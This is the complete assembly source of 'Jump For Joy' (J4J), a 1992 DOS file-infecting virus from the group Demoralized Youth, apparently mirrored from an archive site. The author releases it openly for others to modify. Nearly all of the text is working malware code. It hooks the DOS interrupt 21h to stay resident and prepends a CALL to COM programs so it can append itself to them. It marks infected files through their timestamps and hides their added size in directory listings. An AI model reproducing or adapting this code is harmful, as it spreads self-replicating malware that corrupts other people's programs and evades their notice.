home *** CD-ROM | disk | FTP | other *** search
- ;J4J - Jump For Joy, released 31 Jan 92, (c) Charlie of Demoralized Youth
-
- ;------------------------------------------------------------------------
-
- ;This source has been lying around for a veeeeeery long time, and I will
-
- ;*NOT* continue to make newer versions of J4J, so that is the reason
-
- ;why I release the source.
-
- ;
-
- ;It's been 'bout a month since my last glance on it, so it's maybe full
-
- ;of bugs, but anyways; assemble with A86
-
- ;
-
- ;Some idea's were taken from Omicron / FLIP B (Just the startup), but
-
- ;the rest was done by CHARLIE of DEMORALIZED YOUTH!
-
- ;
-
- ;Fuck this code up however you like...
-
-
-
- tsr_bytes equ 1024
-
- tsr_para equ (4096 / 16)
-
-
-
- cpt1 equ $
-
-
-
- mov ax,1991
-
- mov bx,ax
-
- mov cx,ax
-
- add ax,13881
-
- int 21h
-
- cmp ax,cx
-
- je fail
-
-
-
- cmp sp,-10h
-
- jb fail
-
-
-
- mov ax,cs
-
- dec ax
-
- mov es,ax
-
- cmp byte es:[0000h],'Z'
-
- jne fail
-
-
-
- mov ax,es:[0003h]
-
- sub ax,tsr_para
-
- jc fail
-
-
-
- mov es:[0003h],ax
-
- sub word ptr es:[0012h],tsr_para
-
- mov es,es:[0012h]
-
-
-
- call $+3
-
-
-
- cpt3 equ $
-
-
-
- pop si
-
- mov bx,si
-
- sub si,(cpt3-cpt1)
-
- add si,(cpt4-cpt1)
-
- push cs
-
- push si
-
-
-
- mov si,bx
-
- sub si,(cpt3-cpt1)
-
- mov cx,offset total-100h
-
- mov di,100h
-
- push es
-
- rep movsb
-
- mov di,17Dh+2
-
- push di
-
-
-
- retf
-
- cpt4 equ $
-
-
-
- fail:
-
- mov ax,100h
-
- push ax
-
- xor ax,ax
-
- xor bx,bx
-
- xor cx,cx
-
- xor dx,dx
-
- xor si,si
-
- xor di,di
-
- xor bp,bp
-
- push cs
-
- push cs
-
- pop es
-
- pop ds
-
- mov word [100h],20CDh
-
- rpl1 equ $-2
-
- mov byte [102h],90h
-
- rpl2 equ $-1
-
- ret
-
-
-
- cpt2 equ $
-
-
-
-
-
- jmp init
-
-
-
-
-
- fcb_open dw offset fcb_open_cont
-
- exec dw offset back
-
- open_handle dw offset back
-
-
-
- new_int_21:
-
- pushf
-
-
-
- cmp ah,0Fh ;open file using FCB's
-
- jne not_open_fcb
-
-
-
- call fcb_to_asciiz
-
- push dx
-
- push ds
-
-
-
- push cs
-
- pop ds
-
- mov dx,offset file
-
-
-
- push cs:[fcb_open]
-
- jmp file_main
-
-
-
- fcb_open_cont:
-
- pop ds
-
- pop dx
-
- jmp back
-
-
-
- not_open_fcb:
-
- ;cmp ah,4Eh
-
- ;je handle_dir
-
- ;cmp ah,4Fh
-
- ;je handle_dir
-
-
-
- cmp ah,11h
-
- je fcb_dir
-
- cmp ah,12h
-
- je fcb_dir
-
-
-
- cmp ah,3Eh
-
- jne clodd
-
- cmp bx,1991
-
- jne clodd
-
- xchg ax,bx
-
- popf
-
- iret
-
-
-
- clodd:
-
- cmp ah,3Dh
-
- jne last_chance
-
- push cs:[open_handle]
-
- jmp file_main
-
-
-
- last_chance:
-
- cmp ax,4B00h
-
- jne back
-
-
-
- push cs:[exec]
-
- jmp file_main
-
-
-
- back:
-
- popf
-
- db 0EAh
-
- old_int_21 dw 0,0
-
-
-
- handle_dir:
-
- popf
-
- call int21
-
-
-
- pushf
-
- jnc back_handle_dir
-
-
-
- cmp ax,0
-
- jne back_handle_dir
-
-
-
- call stealth_dir_handle
-
- sti
-
-
-
- back_handle_dir:
-
- popf
-
- iret
-
-
-
- fcb_dir:
-
- popf
-
- call int21
-
-
-
- pushf
-
- cmp al,00h
-
- jne back_fcb_dir
-
-
-
- call stealth_dir_fcb
-
- sti
-
-
-
- back_fcb_dir:
-
- popf
-
- iret
-
-
-
- fcb_fname equ 80h+1
-
- fcb_fext equ 80h+1+8
-
-
-
- f_attr equ 80h+15h
-
- f_time equ 80h+16h
-
- f_date equ 80h+18h
-
- f_size equ 80h+1Ah
-
- f_asciiz equ 80h+1Eh
-
-
-
- f_handle equ 80h
-
- f_head_buffer equ 80h+2
-
- f_tail_buffer equ 80h-3
-
- f_type equ 80h+6
-
-
-
-
-
- repl0: db 0E8h,?,? ;call ????
-
-
-
- ;repl1: db 0C7h,6,0,1,?,? ;mov word [0100h],????
-
- ; db 0C6h,6,2,1,? ;mov byte [0102h],??
-
-
-
- repl2: push bp
-
- mov bp,sp
-
- sub word [bp+2],3
-
- pop bp
-
-
-
- repl3:
-
-
-
-
-
- db 'Eloï, Eloï, lamá sabaktáni?'
-
-
-
- file_main:
-
- pushf
-
- ;call other_file_type_check
-
- ;jnc file_main_pr1
-
- jmp file_main_pr1
-
-
-
- popf
-
- jmp back
-
-
-
- file_main_pr1:
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push si
-
- push di
-
- push bp
-
- push es
-
- push ds
-
-
-
- push cs
-
- pop es
-
-
-
- mov si,dx
-
- mov di,offset file
-
- cld
-
- mov cx,65
-
- rep movsb
-
-
-
- push cs
-
- pop ds
-
-
-
- call setup_24
-
-
-
- ;call cpu_check
-
- ;cmp ax,1
-
- ;je file_slutt
-
-
-
- call file_info_get
-
- jc file_is_done
-
-
-
- call mekke_fil
-
-
-
- file_is_done:
-
- call file_info_set
-
-
-
- file_slutt:
-
-
-
- call rest_24
-
-
-
- pop ds
-
- pop es
-
- pop bp
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- popf
-
- ret ;jmp back
-
-
-
- file db 65 dup(0)
-
-
-
- old_dta dw ?,?
-
-
-
- file_info_get:
-
- mov ah,2Fh ;get DTA address
-
- call int21
-
- mov old_dta[2],es
-
- mov old_dta[0],bx
-
- mov ah,1Ah ;set DTA address
-
- push cs
-
- pop ds
-
- mov dx,80h
-
- call int21
-
-
-
- mov ah,4Eh ;FIND FIRST (get info about
-
- mov cx,1+2+32 ;our file)
-
- mov dx,offset file
-
- call int21
-
- jnc file_info_get_ok
-
- stc
-
- ret
-
-
-
- stc
-
- ret
-
- file_info_get_ok:
-
- clc
-
-
-
- test word [f_attr],4 ;is the System attr. set?
-
- jnz offset file_info_get_ok-2 ;yeah, so don't do it..
-
-
-
- cmp word [fcb_fname],'OC' ;like in: COmmand.com
-
- je offset file_info_get_ok-2 ;the command-interpreter
-
-
-
- cmp word [fcb_fname],'BI' ;like in: IBmbio.com and IBmdos.com
-
- je offset file_info_get_ok-2 ;the startup files for IBM-dos
-
-
-
- cmp word [fcb_fext],'YS' ;like in: country.SYs
-
- je offset file_info_get_ok-2 ;device drivers and .SYS files
-
-
-
- mov ax,4301h ;set attribute
-
- xor cx,cx ;attr=0
-
- mov dx,offset file
-
- call int21
-
-
-
- mov ax,3D02h ;open file
-
- mov dx,offset file
-
- call int21
-
- jnc fig_open
-
- fig_fail:
-
- stc
-
- ret
-
- fig_open:
-
- mov [f_handle],ax
-
-
-
- mov bx,ax
-
- mov ah,3Fh ;read from file
-
- mov cx,3 ;3 bytes
-
- mov dx,f_head_buffer
-
- call int21
-
- jnc fig_read
-
- jmp fig_fail
-
-
-
- fig_read:
-
- cmp ax,3
-
- jne fig_fail
-
-
-
- mov ax,4200h
-
- xor cx,cx
-
- mov dx,[f_size]
-
- sub dx,3
-
- mov bx,[f_handle]
-
- call int21
-
-
-
- mov ah,3Fh
-
- mov cx,3
-
- mov dx,f_tail_buffer
-
- call int21
-
-
-
- cmp word [f_size+2],0
-
-
-
- jnz fig_fail
-
- cmp [f_size],60000
-
- ja fig_fail
-
-
-
- cmp word [f_head_buffer],'MZ' ;EXE 'ZM' ?
-
- je file_is_exe
-
- cmp word [f_head_buffer],'ZM' ;EXE 'MZ' ?
-
- je file_is_exe
-
- cmp word [f_head_buffer],-1 ;Device Driver ?
-
- je fig_fail
-
-
-
- mov byte [f_type],0 ;filetype = COM
-
- clc
-
- ret
-
- file_is_exe:
-
- mov byte [f_type],1 ;filetype = EXE
-
- clc
-
- ret
-
-
-
- file_info_set:
-
- mov ah,1Ah ;set DTA address
-
- mov dx,old_dta[0]
-
- mov bx,old_dta[2]
-
- mov ds,bx
-
- call int21
-
-
-
- push cs
-
- pop ds
-
-
-
- mov ax,4301h ;restore ATTRibutes
-
- mov cx,[f_attr]
-
- mov dx,offset file
-
- call int21
-
-
-
- mov ax,5701h ;restore DATE & TIME
-
- mov bx,[f_handle]
-
- mov cx,[f_time]
-
- and cl,255-31
-
- or cl,30
-
- mov dx,[f_date]
-
- call int21
-
-
-
- mov ah,3Eh ;close file
-
- mov bx,[f_handle]
-
- call int21
-
- ret
-
-
-
- db '¿¡¿--?!?'
-
-
-
- mekke_fil:
-
- cmp [f_size],1023
-
- ja not_one_n0
-
- stc
-
- ret
-
-
-
- not_one_n0:
-
- cmp byte ptr [f_type],0
-
- je not_one_n1
-
- stc
-
- ret
-
-
-
- not_one_n1:
-
- cmp word ptr [f_tail_buffer],'4J'
-
- jne not_one
-
- stc
-
- ret
-
-
-
- not_one:
-
- mov ax,[f_size] ;calculate CALL
-
- sub ax,3 ;length
-
- mov repl0[1],ax
-
-
-
- mov ax,word [f_head_buffer]
-
- mov bl,byte [f_head_buffer]+2
-
-
-
- mov [offset rpl1],ax
-
- mov [offset rpl2],bl
-
- ; mov word ptr repl1[4],ax ;restore orig bytes
-
- ; mov repl1[10],bl ;after CALL...
-
-
-
- mov ax,4200h ;seek to file_start
-
- mov bx,[f_handle]
-
- xor cx,cx
-
- mov dx,cx
-
- call int21
-
-
-
- mov ah,40h ;write CALL XXXX
-
- mov bx,[f_handle]
-
- mov cx,3 ;3 bytes
-
- mov dx,offset repl0
-
- call int21
-
-
-
- mov ax,4202h ;seek to EOF
-
- mov bx,[f_handle]
-
- xor cx,cx
-
- mov dx,cx
-
- call int21
-
-
-
- ; mov ah,40h ;write startup-code
-
- ; mov bx,[f_handle]
-
- ; mov cx,(offset repl3)-offset repl1
-
- ; ;???? bytes
-
- ; mov dx,offset repl1
-
- ; call int21
-
- ; jc replace_them_now
-
-
-
- mov ah,40h ;write main code
-
- mov bx,[f_handle]
-
- mov cx,offset total-100h
-
- mov dx,100h
-
- call int21
-
- jc $+2+1+1
-
- clc
-
- ret
-
-
-
- replace_them_now:
-
- mov ax,4200h ;seek to beginning
-
- mov bx,[f_handle] ;of the file
-
- xor cx,cx
-
- mov dx,cx
-
- call int21
-
-
-
- mov ah,40h ;error, so write
-
- mov bx,[f_handle] ;back 3 first bytes
-
- mov cx,3
-
- mov dx,f_head_buffer
-
- call int21
-
- stc
-
- ret
-
-
-
-
-
- db 'Charlie says: Support ()DEMORALIZED YOUTH() '
-
-
-
- ;;*************************************************************
-
- ;;* CPU checker, coded by Data Disruptor / RABiD Nat'nl Corp. *
-
- ;;*************************************************************
-
- ;cpu_check:
-
- ; xor ax,ax
-
- ; push ax
-
- ; popf
-
- ; pushf
-
- ; pop ax
-
- ; and ax,0f000h
-
- ; cmp ax,0f000h
-
- ; je mc_8086
-
- ; mov ax,0f000h
-
- ; push ax
-
- ; popf
-
- ; pushf
-
- ; pop ax
-
- ; and ax,0f000h
-
- ; jz mc_80286
-
- ; mov ax,3
-
- ; ret
-
- ;mc_80286:
-
- ; mov ax,2
-
- ; ret
-
- ;mc_8086:
-
- ; mov ax,1
-
- ; ret
-
-
-
-
-
- ;***************************************
-
- ;
-
- ; Call previously saved Int 21h Handler
-
- ;
-
- ;***************************************
-
- int21:
-
- pushf
-
- call dword ptr cs:old_int_21
-
- ret
-
-
-
- ;**********************************************
-
- ;
-
- ; Int 24h (Critical Error Handler) Code & Data
-
- ;
-
- ;**********************************************
-
- err dw 0
-
-
-
- old_24 dw ?,?
-
- new_24: inc cs:err
-
- mov al,0
-
- stc
-
- iret
-
-
-
- ;****************************************************************
-
- ;
-
- ; Fix so that Int 24h (Critical Error Handler) won't display the
-
- ; "abort, retry, fail?" message
-
- ;
-
- ;****************************************************************
-
- setup_24:
-
- xor ax,ax
-
- mov ds,ax
-
-
-
- les bx,[24h*4]
-
-
-
- push cs
-
- pop ds
-
-
-
- mov word ptr old_24[0],bx
-
- mov word ptr old_24[2],es
-
-
-
- mov ds,ax
-
- mov word ptr [24h*4],offset new_24
-
- mov word ptr [24h*4+2],cs
-
-
-
- push cs
-
- push cs
-
- pop es
-
- pop ds
-
- ret
-
-
-
- ;**********************************************************
-
- ;
-
- ; Restore original Int 24h (Critical Error Handler) vector
-
- ;
-
- ;**********************************************************
-
- rest_24:
-
- les bx,cs:old_24
-
-
-
- xor ax,ax
-
- mov ds,ax
-
-
-
- mov word ptr [24h*4],bx
-
- mov word ptr [24h*4+2],es
-
-
-
- push cs
-
- pop ds
-
- ret
-
-
-
-
-
- ;*********************************************************
-
- ;
-
- ; Check if the filename has got an extension of .COM or
-
- ; .EXE. Returns with CY if not a valid filetype, or NC if
-
- ; it is a valid one.
-
- ;
-
- ;*********************************************************
-
- other_fail:
-
- pop bp
-
- pop ds
-
- pop es
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- popf
-
- stc ;return with CY
-
- ret
-
-
-
- other_file_type_check: ;here the main routine starts
-
- pushf
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push si
-
- push di
-
- push es
-
- push ds
-
- push bp
-
-
-
- mov di,dx
-
- push ds
-
- pop es
-
-
-
- cld
-
- mov cx,127
-
- xor al,al
-
- repnz scasb
-
- jne other_fail
-
- dec di
-
- dec di
-
- dec di
-
- dec di
-
- dec di
-
-
-
- xchg si,di
-
- lodsb
-
- cmp al,'.'
-
- jne other_fail
-
-
-
- lodsw
-
- and ax,0DFDFh
-
- cmp ax,'OC'
-
- je other_okfil
-
- cmp ax,'XE'
-
- je other_okfil
-
- jmp other_fail
-
-
-
- other_okfil:
-
- lodsb
-
- and al,0DFh
-
- cmp al,'M'
-
- je other_okfil2
-
- cmp al,'E'
-
- jne other_fail
-
-
-
- other_okfil2:
-
- pop bp
-
- pop ds
-
- pop es
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- popf
-
- clc ;return with NC
-
- ret
-
-
-
-
-
- stealth_dir_handle:
-
- jc done_stealthing_handle
-
-
-
- pushf
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push si
-
- push di
-
- push ds
-
- push es
-
- push bp
-
-
-
- mov ah,2Fh
-
- call int21
-
-
-
- mov ax,word ptr es:[bx+16h]
-
- mov ah,1Eh
-
- and al,1Fh
-
- cmp al,ah
-
- jne done_stealthing_handle
-
-
-
- cmp word es:[bx+1Ah+2],0
-
- jne done_stealthing_handle
-
- mov ax,word es:[bx+1Ah]
-
- sub ax,(offset total)-100h
-
- jc done_stealthing_handle
-
- mov word es:[bx+1Ah],ax
-
-
-
- done_stealthing_handle:
-
- pop bp
-
- pop es
-
- pop ds
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- popf
-
- ret
-
-
-
- stealth_dir_fcb:
-
- pushf
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push si
-
- push di
-
- push ds
-
- push es
-
- push bp
-
-
-
- mov ah,2Fh
-
- call int21
-
-
-
- ; mov es,ds
-
- ; mov bx,dx
-
-
-
- mov ax,word ptr es:[bx+14+10h] ;16h]
-
- mov ah,30 ;1Eh
-
- and al,31 ;1Fh
-
- cmp al,ah
-
- jne done_stealthing_fcb
-
-
-
- cmp word es:[bx+22+10h],0 ;+10h+2],0
-
- jne done_stealthing_fcb
-
-
-
- mov ax,word es:[bx+20+10h] ;+10h]
-
- sub ax,(offset total)-100h
-
- jc done_stealthing_fcb
-
- mov word es:[bx+20+10h],ax
-
-
-
- done_stealthing_fcb:
-
- pop bp
-
- pop es
-
- pop ds
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- popf
-
- ret
-
-
-
-
-
-
-
-
-
- init:
-
- cli
-
- push cs
-
- push cs
-
- pop ds
-
- pop es
-
-
-
- mov ax,3521h
-
- int 21h
-
- mov word ptr old_int_21[0],bx
-
- mov word ptr old_int_21[2],es
-
- mov dx,offset new_int_21
-
- mov ax,2521h
-
- int 21h
-
- sti
-
-
-
- retf
-
- fcb_to_asciiz:
-
- pushf
-
- push ax
-
- push cx
-
- push si
-
- push di
-
- push es
-
-
-
- push cs
-
- pop es
-
- mov di,offset file
-
-
-
- cld
-
- mov si,dx ;fcb_start
-
- lodsb
-
- cmp al,0
-
- je fcb_in_current_dir
-
-
-
- add al,'A'
-
- stosb
-
- mov al,':'
-
- stosb
-
- jmp anyway
-
-
-
- fcb_in_current_dir:
-
- inc si
-
-
-
- anyway:
-
- mov si,dx
-
- inc si
-
- mov cx,8
-
- fcb_file_name_xfer:
-
- lodsb
-
- cmp al,' '
-
- je fcb_done_1
-
- stosb
-
- loop fcb_file_name_xfer
-
-
-
- fcb_done_1:
-
- mov al,'.'
-
- stosb
-
-
-
- mov si,dx ;fcb_start
-
- add si,1+8
-
- mov cx,3
-
- fcb_file_ext_xfer:
-
- lodsb
-
- cmp al,' '
-
- je fcb_done_2
-
- stosb
-
- loop fcb_file_ext_xfer
-
-
-
- fcb_done_2:
-
- mov al,0
-
- stosb
-
-
-
- pop es
-
- pop di
-
- pop si
-
- pop cx
-
- pop ax
-
- popf
-
- ret
-
-
-
-
-
- size dw (offset total)-100h
-
- db 'J4J'
-
-
-
- total:
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-